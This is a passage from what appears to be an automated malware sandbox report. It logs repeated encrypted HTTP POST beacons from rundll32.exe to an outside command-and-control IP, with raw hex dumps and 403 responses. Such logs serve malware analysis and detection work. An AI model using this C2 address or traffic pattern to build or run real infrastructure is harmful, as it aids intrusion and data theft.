93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:12 UTC	355	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:12 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.3	50108	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:15 UTC	355	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:15 UTC	355	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:16 UTC	365	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.3	50109	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:15 UTC	360	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:15 UTC	360	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:16 UTC	365	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.3	50116	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:19 UTC	365	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:19 UTC	365	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:20 UTC	375	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.3	50117	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:19 UTC	370	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:19 UTC	370	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:20 UTC	375	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.3	50124	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:23 UTC	375	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:23 UTC	375	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:24 UTC	385	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:24 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	50125	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:23 UTC	380	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:23 UTC	380	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:24 UTC	385	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:23 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	50132	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:27 UTC	385	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:27 UTC	385	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:27 UTC	395	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:27 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	50133	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:27 UTC	390	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:27 UTC	390	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:28 UTC	395	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49778	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:04 UTC	39	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:04 UTC	39	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:05 UTC	44	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	50140	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:31 UTC	395	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:31 UTC	395	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:31 UTC	404	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:31 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	50141	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:31 UTC	400	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:31 UTC	400	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:32 UTC	405	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	50148	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:35 UTC	405	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:35 UTC	405	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:35 UTC	414	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	50149	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:35 UTC	410	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:35 UTC	410	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:35 UTC	415	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:35 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	50156	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:38 UTC	415	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:06:38 UTC	415	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:06:39 UTC	424	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:06:39 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	50157	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:06:39 UTC	419	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
